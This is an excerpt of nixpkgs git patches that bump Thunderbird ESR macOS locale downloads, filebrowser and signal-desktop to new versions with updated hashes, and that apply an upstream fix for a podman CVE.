-      sha256 = "82d13921c5879939f35a3321e94fd6a67611da959806fd1795bb6442ec17c0cd";
+      sha256 = "d68a7b08b4559e11efc5160c4f886f2174e108ac857e3ec41844c64dfe5ca1ca";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/eu/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/eu/Thunderbird%20140.0.1esr.dmg";
       locale = "eu";
       arch = "mac";
-      sha256 = "a84dd42a44ed2124a7372d89c4f469605ff8837e80b33dad433cdb5a46988425";
+      sha256 = "e8083e2da49168c1e5e52392a8e8cf1ec6190b48797d47fddcc0e0310f1390a5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/fi/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/fi/Thunderbird%20140.0.1esr.dmg";
       locale = "fi";
       arch = "mac";
-      sha256 = "d2f5b3a691fd66eb2c5a062ab79e845d689f63b913daa4bebdea5c5d548276c6";
+      sha256 = "1cab5d0c6a18a1975fb9010e3c83ad34abbe9888e592ca4e0b87a6b45e7266e8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/fr/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/fr/Thunderbird%20140.0.1esr.dmg";
       locale = "fr";
       arch = "mac";
-      sha256 = "305c169b9f254e695be9f35d8ade9ca72b225cd27220cc8858873d2f1b6f09ca";
+      sha256 = "7c5bc6b3d2d797ed40ca89f96668a359fd00344219db9942ab3f64e9a06e8a74";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/fy-NL/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/fy-NL/Thunderbird%20140.0.1esr.dmg";
       locale = "fy-NL";
       arch = "mac";
-      sha256 = "043043862111a5cac0c8411fc7884931e2546eff9f9ca84e4354d3b6858540f5";
+      sha256 = "b20d55d3887f546131dbc2d7440f0bc68cd90662366f761b57ff59cfb3680401";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/ga-IE/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/ga-IE/Thunderbird%20140.0.1esr.dmg";
       locale = "ga-IE";
       arch = "mac";
-      sha256 = "8f1244fe456395030b0510fe4be3a81bfe9505a236b6c8ffd1d0e4da23424fbf";
+      sha256 = "6500a32d0212883b059f7f8049c08534c346b271353f9c66e056b69f550501b9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/gd/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/gd/Thunderbird%20140.0.1esr.dmg";
       locale = "gd";
       arch = "mac";
-      sha256 = "519466f56694b3256744ccbcfb9c070234e739c14c072c951a3082d2eb38af3d";
+      sha256 = "f27079d598d662c9d46857a742ff6ea455d2b0cfc63f9f11b8c075e79713f1e1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/gl/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/gl/Thunderbird%20140.0.1esr.dmg";
       locale = "gl";
       arch = "mac";
-      sha256 = "beba3e556dcd796bf4c97e581aa7a3350723abee9dec21bfa87f908b08029ca0";
+      sha256 = "d29ad1cf5ec3b1b189c21a73fe689c01b21e60dd80fa6c6aad2dc04f77312fab";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/he/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/he/Thunderbird%20140.0.1esr.dmg";
       locale = "he";
       arch = "mac";
-      sha256 = "f28de27c4c326fcd9c2fbcdd06162c19a85d797a57171e14d8e9da9d6f5fca11";
+      sha256 = "3c39fe2417ab58098b43ee07d9cb562254c529d9777d520852000e368baa1234";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/hr/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/hr/Thunderbird%20140.0.1esr.dmg";
       locale = "hr";
       arch = "mac";
-      sha256 = "271cbd5738ada0ef82b104d58915517c449c8406dc60798580fb23930519a9d6";
+      sha256 = "c13f505713795fb6df640ab080f52096735c7374ba0826e2d3cd3f6dbc0e9390";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/hsb/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/hsb/Thunderbird%20140.0.1esr.dmg";
       locale = "hsb";
       arch = "mac";
-      sha256 = "d0a0c1b967fd8bbc55d9e3c07463cbfc2fa00f71488b09a59551aa4607f4798c";
+      sha256 = "46c80d63f7453876366db864ee14b80a9b52987a8af3bc8a24d8735d7691d3a4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/hu/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/hu/Thunderbird%20140.0.1esr.dmg";
       locale = "hu";
       arch = "mac";
-      sha256 = "3f04c03977715039a2eb3f7449a32b53a41b264e45c29d25315321c1c5277eef";
+      sha256 = "6b48415df64d8c3ac80d8ce2b75712335948455f1d380ce1f3b4d38b7980a9d1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/hy-AM/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/hy-AM/Thunderbird%20140.0.1esr.dmg";
       locale = "hy-AM";
       arch = "mac";
-      sha256 = "53d33d183ae181bfac1fd721e105ba4142d6a0010be9cf5f3448cd46876a23da";
+      sha256 = "4d342cfd00c5ffe34877600d6c475603fa961c6862bcc9b27f666aebb877a624";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/id/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/id/Thunderbird%20140.0.1esr.dmg";
       locale = "id";
       arch = "mac";
-      sha256 = "c5c0e230a22e18356524eefe04c7590625d6e616901de4a1fd02439c32333d26";
+      sha256 = "8fb14ee5415c8a7bf468e422c18b4dba35fdb0c78b57aae2058f50ad94fe386c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/is/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/is/Thunderbird%20140.0.1esr.dmg";
       locale = "is";
       arch = "mac";
-      sha256 = "211762c3d1d400be1c3f2a568a0111c56338553ce57f5b938c25d369f9cd6e22";
+      sha256 = "e34a22ee6896606ccb29e28d80da8ab30bb060804d210f4a3eafa0437846b297";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/it/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/it/Thunderbird%20140.0.1esr.dmg";
       locale = "it";
       arch = "mac";
-      sha256 = "acc08c97b56f20df44483402071e11c63410646181bc49ed43a144a8aa76a523";
+      sha256 = "1ec0efcf85cf0c277cd219a206e947ae970b6b3397b3a8da24beee96ac0d8d34";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/ja-JP-mac/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/ja-JP-mac/Thunderbird%20140.0.1esr.dmg";
       locale = "ja-JP-mac";
       arch = "mac";
-      sha256 = "507c90c52b0f43df9eb08df40ce5b62fb132a00a561007d2d0b8759052419195";
+      sha256 = "c583039cff073b0a6f94a73f120c26d6f43c86ab53fb0c545d66ab927ea76049";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/ka/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/ka/Thunderbird%20140.0.1esr.dmg";
       locale = "ka";
       arch = "mac";
-      sha256 = "721adf949350e037c25cf8291c431c4ad1a1c973e3b5c7f8038c49d101bff42f";
+      sha256 = "743c09456f1e37df56f642e4f25c432c02518250e3e675c2e59e44682f42e3cc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/kab/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/kab/Thunderbird%20140.0.1esr.dmg";
       locale = "kab";
       arch = "mac";
-      sha256 = "5d80290a4450704ee98e14fe1ff5355838866f5bd02dd76b35d34340234e2fca";
+      sha256 = "b2827daeb5582a8d7df1d0fd2a1263e306d2ffebec00f49f9bb7b36ec3f1f13e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/kk/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/kk/Thunderbird%20140.0.1esr.dmg";
       locale = "kk";
       arch = "mac";
-      sha256 = "d2e06a4b9217647fb251f4923704cb2a328f2f6bd2cdec2dffa565f035256118";
+      sha256 = "cda4811b48bc59a731b9db326385a6e24b5cde15170f67f7e66b035642ab6301";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/ko/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/ko/Thunderbird%20140.0.1esr.dmg";
       locale = "ko";
       arch = "mac";
-      sha256 = "93be46780d45123071b98e3a502bd66a0e013173113328c5bb490348e0e95e3b";
+      sha256 = "b66634a71ccf6010025e395326227d900e70f41ac6d4aefadb87ed863268be8b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/lt/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/lt/Thunderbird%20140.0.1esr.dmg";
       locale = "lt";
       arch = "mac";
-      sha256 = "e7290fb83d7d599e19ba084ac0cea5e8766ac939a53536260566150ce0967888";
+      sha256 = "344bfe5819f26f494243bee9051b2b6cef79e15377dcd3b0c3462feba09a4899";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/lv/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/lv/Thunderbird%20140.0.1esr.dmg";
       locale = "lv";
       arch = "mac";
-      sha256 = "953833f44f8d18c645dc4581389e3c4e6620e7ecbb612223589b01a8b0f0c7b3";
+      sha256 = "e9a5cc498ae57a76fd8e8dfe58e9f5faebbd7c50f53f50909b091f822dccc366";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/ms/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/ms/Thunderbird%20140.0.1esr.dmg";
       locale = "ms";
       arch = "mac";
-      sha256 = "96cd6ceb2eeee23e41df9e85f66d972652eb883185dfe3ee467e3d339db89728";
+      sha256 = "17e553a159ca6e020ee24cc4293f1d4ad144dc0b2dc505aefa7acac7a1b2874c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/nb-NO/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/nb-NO/Thunderbird%20140.0.1esr.dmg";
       locale = "nb-NO";
       arch = "mac";
-      sha256 = "873acfd868eb4eb98fd89ed940a4f94106102d671906ed96aa5cbdc8adfd0aad";
+      sha256 = "fba0b9ae7a9809e4ee8181c387c74a54dc3dd73e39b25931675d1f3251f5cba4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/nl/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/nl/Thunderbird%20140.0.1esr.dmg";
       locale = "nl";
       arch = "mac";
-      sha256 = "4eb57ac9ee74c73390f5e7d85c99974b39c8e029891c9264a59f7f4caf35189e";
+      sha256 = "4c114373ca9760c588187d440301c9f5f5c3ba955f212ece78ffc6e095347d01";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/nn-NO/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/nn-NO/Thunderbird%20140.0.1esr.dmg";
       locale = "nn-NO";
       arch = "mac";
-      sha256 = "7b460dc745f4216207cbbe31c22ca078097da98fc36608e30c801460b53e4175";
+      sha256 = "46f358d2437f74f6feb7c508b844325cd15ef61c230bf0af3338a3e754c5ad99";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/pa-IN/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/pa-IN/Thunderbird%20140.0.1esr.dmg";
       locale = "pa-IN";
       arch = "mac";
-      sha256 = "ae6e070503490be4a20cfe88957c50bd2d5b61558e4e082e405dbb6c9af8d650";
+      sha256 = "f5ae52be91e9e74a20a865603ab70650015cd052dd3524f40d547a725182514d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/pl/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/pl/Thunderbird%20140.0.1esr.dmg";
       locale = "pl";
       arch = "mac";
-      sha256 = "8d7bef22f5ec018230675388f1e09f57ca1a56c14faf20625947ace6a63f1b4f";
+      sha256 = "68c481bed5cdb529e294d6d6c4a96897f0f26205910e5f53cedbd28674042f04";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/pt-BR/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/pt-BR/Thunderbird%20140.0.1esr.dmg";
       locale = "pt-BR";
       arch = "mac";
-      sha256 = "8d07693400e2ce47f28e50063f754f5ecfe33bce80c20836e5964e58c30d808b";
+      sha256 = "5d7df81759e99ba5c1ce321641450963443ebe8fa0dba62a1305cbc65228ad4c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/pt-PT/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/pt-PT/Thunderbird%20140.0.1esr.dmg";
       locale = "pt-PT";
       arch = "mac";
-      sha256 = "9807509c6214bfa50cc4da2d4e1182f398f5d2dc01527e946b6f3f3a62f2c5bf";
+      sha256 = "ed4d5f4f0c3574cade3cc8df470cec5b41a63daa60cfefd18650f87bc1a5e857";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/rm/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/rm/Thunderbird%20140.0.1esr.dmg";
       locale = "rm";
       arch = "mac";
-      sha256 = "02d138d8e70732f364b600f96e3d493025b0b30ad2f97c86c1de56a4ac396c21";
+      sha256 = "e7cf689884d0a39f718bf17752600cb837d2cd88b1636c139c94aa98b080a8cd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/ro/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/ro/Thunderbird%20140.0.1esr.dmg";
       locale = "ro";
       arch = "mac";
-      sha256 = "fc3a92974d3dd7c8ea9e253e15685e951a9378af81260a32bc981222ec9096ba";
+      sha256 = "304c225dba0e4f4e6014ab791eb4950072a15b61bf88d0dc277e6eb2aaaa3531";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/ru/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/ru/Thunderbird%20140.0.1esr.dmg";
       locale = "ru";
       arch = "mac";
-      sha256 = "ff86c68ca4fac2512ac16a7d46a93d9fb799f0cc7faed74bc11804d8945a6f24";
+      sha256 = "d53d2c8ec5112d3e3f94391ffc8323451ed0f39abbc3f1548f29989eb1a94e7c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/sk/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/sk/Thunderbird%20140.0.1esr.dmg";
       locale = "sk";
       arch = "mac";
-      sha256 = "2d41c7410469e0157c0856e1c615dc950b1b2773a889391afe96faebb064c56b";
+      sha256 = "f7083412a1e2a067b37a0bbbf5366c40b558a8f0b04f3435caed1753f551e05b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/sl/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/sl/Thunderbird%20140.0.1esr.dmg";
       locale = "sl";
       arch = "mac";
-      sha256 = "620044e83c647d4d59fe4bf04c0baad67ebd3e987962f46e5b3207319efff547";
+      sha256 = "a2f163298c4653cbf5615cc77b32f7e05ec6f99b0448ddcdb2d0e4e326918c9e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/sq/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/sq/Thunderbird%20140.0.1esr.dmg";
       locale = "sq";
       arch = "mac";
-      sha256 = "2053c3b73c6cc460ae19a16b68cc20847ae5c1ccaa257cf0f1bb94ceb5303a77";
+      sha256 = "383328a54e6155e813d1e328658903cfc1836e640032182a40446455df52b00f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/sr/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/sr/Thunderbird%20140.0.1esr.dmg";
       locale = "sr";
       arch = "mac";
-      sha256 = "97c49fcce28b8a3fbafa9c0ac0057269c738a02b599298891ed95cfc5f9c326e";
+      sha256 = "5fd5564f871656f491b7a55b459ad22ad465f6d683ceec660e0c894bd059411e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/sv-SE/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/sv-SE/Thunderbird%20140.0.1esr.dmg";
       locale = "sv-SE";
       arch = "mac";
-      sha256 = "09b44ad55e36b02d907063f166ffa97a9405b7bed912e42917fdd4a662d257ba";
+      sha256 = "a3bda6773dd565a4d613e97f78648bf461f44b6237b941ae1711cfd0e098d357";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/th/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/th/Thunderbird%20140.0.1esr.dmg";
       locale = "th";
       arch = "mac";
-      sha256 = "e261fbd2bda8eac5044194412e872ee06e95ce9a1c6f8b03374b9d5bdb211a13";
+      sha256 = "8d2b8dc11ce8532a09cda982f1625877e9a1d634678811760be5529500641bb1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/tr/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/tr/Thunderbird%20140.0.1esr.dmg";
       locale = "tr";
       arch = "mac";
-      sha256 = "0998341bc976e2680424270866cc172987e6e6a0285fe9ae730a3dc693e7dd63";
+      sha256 = "ee2848ad6bb3bd0c5d367cde7c5a010dce7e6f28b25b42b036297c199ff45ed7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/uk/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/uk/Thunderbird%20140.0.1esr.dmg";
       locale = "uk";
       arch = "mac";
-      sha256 = "56e5bfddc16ad37931fd2d8fc13f0808ce49368840a1ef18e093f8a2cfb2a51c";
+      sha256 = "65e3c31b51773f089266db704c2c128c222e05a5593088b8d0a0f6b3e65844a1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/uz/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/uz/Thunderbird%20140.0.1esr.dmg";
       locale = "uz";
       arch = "mac";
-      sha256 = "a517ead8414d926f604903230fd1a987a5867c05f78dac18597201bae98f22bf";
+      sha256 = "baa2ed186c708f03fa8df0dd60ba8c0ee1157661e7a871b48526541bfeaa1e7f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/vi/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/vi/Thunderbird%20140.0.1esr.dmg";
       locale = "vi";
       arch = "mac";
-      sha256 = "b59993cbd972fe642be6a9f57c44cf75cfe6c31664b8daf81b1eede51b00eede";
+      sha256 = "710a9b52e6343d27a9412cc6296b0f7fe2dd0b5fe322a25ff09ea7da5e6cc30f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/zh-CN/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/zh-CN/Thunderbird%20140.0.1esr.dmg";
       locale = "zh-CN";
       arch = "mac";
-      sha256 = "6030459cbef475ea9efabde5d2a7be84587871365a3a7f1b589168c39485b8e8";
+      sha256 = "ea22275ae0bc0e0adce8228f798101ca699016577519a94a008ea409fa59497c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.1esr/mac/zh-TW/Thunderbird%20128.11.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/zh-TW/Thunderbird%20140.0.1esr.dmg";
       locale = "zh-TW";
       arch = "mac";
-      sha256 = "cf9ab16f91e90662c1ac9b37cb08ba7d357179d8fd66b40e176847d341b99418";
+      sha256 = "8fece4e313a472671567de0c2346db969d04aa870d7985a29c252848685bf2c6";
     }
   ];
 }

From ac172dae480db51b28532896031df080e3d5a40d Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Sat, 12 Jul 2025 15:46:10 +0200
Subject: [PATCH 2321/4511] podman: apply patch for CVE-2025-6032

https://github.com/advisories/GHSA-65gg-3w2w-hr4h

Not bumped to the latest version, 5.5.0 has some changes marked
as breaking.
---
 pkgs/by-name/po/podman/package.nix | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/pkgs/by-name/po/podman/package.nix b/pkgs/by-name/po/podman/package.nix
index 7224359cb18b..511e530e8274 100644
--- a/pkgs/by-name/po/podman/package.nix
+++ b/pkgs/by-name/po/podman/package.nix
@@ -2,6 +2,7 @@
   lib,
   stdenv,
   fetchFromGitHub,
+  fetchpatch2,
   pkg-config,
   installShellFiles,
   buildGoModule,
@@ -87,6 +88,11 @@ buildGoModule rec {
     (replaceVars ./hardcode-paths.patch {
       bin_path = helpersBin;
     })
+    (fetchpatch2 {
+      name = "CVE-2025-6032.patch";
+      url = "https://github.com/containers/podman/commit/726b506acc8a00d99f1a3a1357ecf619a1f798c3.patch?full_index=1";
+      hash = "sha256-QtlQJHDaoyh7ER7tLSUuuxgh6nV4xxivuC+Lh2RswAU=";
+    })
 
     # we intentionally don't build and install the helper so we shouldn't display messages to users about it
     ./rm-podman-mac-helper-msg.patch

From 9dd18c0de67b6ddf4c9990ef402fc0973e90108c Mon Sep 17 00:00:00 2001
From: Hritwik <hritwiksinghal@protonmail.com>
Date: Thu, 3 Jul 2025 17:53:56 +0530
Subject: [PATCH 2322/4511] filebrowser: 2.32.0 -> 2.36.0

(cherry picked from commit d7042d253cadfd30cae2a9f22275876197610099)
---
 pkgs/by-name/fi/filebrowser/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/fi/filebrowser/package.nix b/pkgs/by-name/fi/filebrowser/package.nix
index 4ce239006d9b..2a0b1020fa43 100644
--- a/pkgs/by-name/fi/filebrowser/package.nix
+++ b/pkgs/by-name/fi/filebrowser/package.nix
@@ -9,7 +9,7 @@
 }:
 
 let
-  version = "2.32.0";
+  version = "2.36.0";
 
   pnpm = pnpm_9;
   nodejs = nodejs_22;
@@ -18,7 +18,7 @@ let
     owner = "filebrowser";
     repo = "filebrowser";
     rev = "v${version}";
-    hash = "sha256-jckwk45pIRrlzZaG3jH8aLq08L5xnrbt4OdwKNS6+nI=";
+    hash = "sha256-t3e4DBxGc3KWeNyqZrQRtySfECc+/lSZJFtOXTUPNk8=";
   };
 
   frontend = stdenv.mkDerivation (finalAttrs: {
@@ -35,7 +35,7 @@ let
     pnpmDeps = pnpm.fetchDeps {
       inherit (finalAttrs) pname version src;
       sourceRoot = "${src.name}/frontend";
-      hash = "sha256-L3cKAp0vvLW5QPz6vYTtZwzuIN70EObU3SyJOlA0Ehc=";
+      hash = "sha256-vLOtVeGFeHXgQglvKsih4lj1uIs6wipwfo374viIq4I=";
     };
 
     installPhase = ''
@@ -56,7 +56,7 @@ buildGo123Module {
   pname = "filebrowser";
   inherit version src;
 
-  vendorHash = "sha256-Jce90mvNzjElCtEMQSSU3IQPz+WLhyEol1ktW4FG7yk=";
+  vendorHash = "sha256-u5ybdo4Xe0ZIP90BymsdTxmCjoR4Mki+lYlp1wP+yrU=";
 
   excludedPackages = [ "tools" ];
 

From 2d398697f10a9f32a082810dee699a8182445938 Mon Sep 17 00:00:00 2001
From: Marcin Serwin <marcin@serwin.dev>
Date: Thu, 10 Jul 2025 16:52:57 +0000
Subject: [PATCH 2323/4511] signal-desktop: 7.59.0 -> 7.61.0

Signed-off-by: Marcin Serwin <marcin@serwin.dev>
(cherry picked from commit 3ea42a2841d85a9886c15cfa8ea0e7c4278d3911)
---
 pkgs/by-name/si/signal-desktop/libsignal-node.nix  |  8 ++++----
 pkgs/by-name/si/signal-desktop/package.nix         | 10 +++++-----
 pkgs/by-name/si/signal-desktop/ringrtc.nix         |  6 +++---
 pkgs/by-name/si/signal-desktop/webrtc-sources.json |  4 ++--
 4 files changed, 14 insertions(+), 14 deletions(-)

diff --git a/pkgs/by-name/si/signal-desktop/libsignal-node.nix b/pkgs/by-name/si/signal-desktop/libsignal-node.nix
index 3c61ab703de1..4af072e02a88 100644
--- a/pkgs/by-name/si/signal-desktop/libsignal-node.nix
+++ b/pkgs/by-name/si/signal-desktop/libsignal-node.nix
@@ -24,23 +24,23 @@ let
 in
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "libsignal-node";
-  version = "0.74.1";
+  version = "0.76.0";
 
   src = fetchFromGitHub {
     owner = "signalapp";
     repo = "libsignal";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-ZMi+/d051CS7TcWVZnVItNpok0ac+vAvvZL/buNrtL0=";
+    hash = "sha256-8V+q28hv7LDsS3SdH27PVHtnAneB55xYqFkhRapkcOI=";
   };
   useFetchCargoVendor = true;
-  cargoHash = "sha256-pRMFWJSRjhZYfX7dmOQXK3BjhJKzPR1Pg+TZzTfPnd4=";
+  cargoHash = "sha256-z8PbpE+kID+kOmlimuvxTrzoWpbWTKpP6HHnhZDATWM=";
 
   npmRoot = "node";
   npmDeps = fetchNpmDeps {
     name = "${finalAttrs.pname}-npm-deps";
     inherit (finalAttrs) version src;
     sourceRoot = "${finalAttrs.src.name}/${finalAttrs.npmRoot}";
-    hash = "sha256-9x1oCzZLBeX0AN+R4qcyBNwsJ/AY6mebCEEfQ5JKpl8=";
+    hash = "sha256-/DL3sQeeZO4l16/rx7BrWEUGUIAdHft+gO3oJ1WQJUE=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/si/signal-desktop/package.nix b/pkgs/by-name/si/signal-desktop/package.nix
index d45eb0ca4033..19a1f9931c77 100644
--- a/pkgs/by-name/si/signal-desktop/package.nix
+++ b/pkgs/by-name/si/signal-desktop/package.nix
@@ -50,13 +50,13 @@ let
     '';
   });
 
-  version = "7.59.0";
+  version = "7.61.0";
 
   src = fetchFromGitHub {
     owner = "signalapp";
     repo = "Signal-Desktop";
     tag = "v${version}";
-    hash = "sha256-Brvr4SQ2TzAqrvXm9C7a1ejaP4kviJoQhgRBP3R3dIg=";
+    hash = "sha256-foMzSKm2BROZ8ATCdYx/0sl+4tQfhgoPA4AWSHEKL0Y=";
   };
 
   sticker-creator = stdenv.mkDerivation (finalAttrs: {
@@ -118,15 +118,15 @@ stdenv.mkDerivation (finalAttrs: {
       ;
     hash =
       if withAppleEmojis then
